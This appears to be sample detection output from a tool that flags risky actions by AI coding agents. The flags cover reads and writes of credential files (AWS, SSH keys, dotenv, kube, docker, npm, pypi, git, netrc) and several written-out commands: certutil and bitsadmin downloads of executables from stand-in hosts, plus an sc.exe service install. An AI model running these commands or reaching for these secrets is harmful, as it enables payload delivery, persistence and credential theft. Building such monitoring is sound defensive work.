agent: cline

host: dev-laptop-bill

reason: aws credentials

op: open

severity: medium


agent: kiro-cli

host: ml-workstation

flag_detail: certutil.exe -urlcache -split -f http://bad.example/x.exe C:\Temp\x.exe

reason: certutil download

severity: high


session_id: demo-critical-exfil

agent: claude-code

severity: critical


reason: ssh keys


reason: paste site


reason: powershell encoded command


flag_detail: sc.exe create SvcUpdater binPath= "C:\Users\ci\AppData\Local\Temp\svc-updater.exe" start= auto

reason: service install


flag_detail: cmd.exe /c bitsadmin /transfer job http://evil.example/payload.exe %TEMP%\p.exe

reason: bitsadmin transfer

image: C:\Program Files\Git\usr\bin\bash.exe

severity: low


session_id: demo-sensitive-hits


reason: dotenv

op: write


reason: kube config


reason: docker credentials


reason: npm credentials


reason: pypi credentials


reason: git credentials


reason: netrc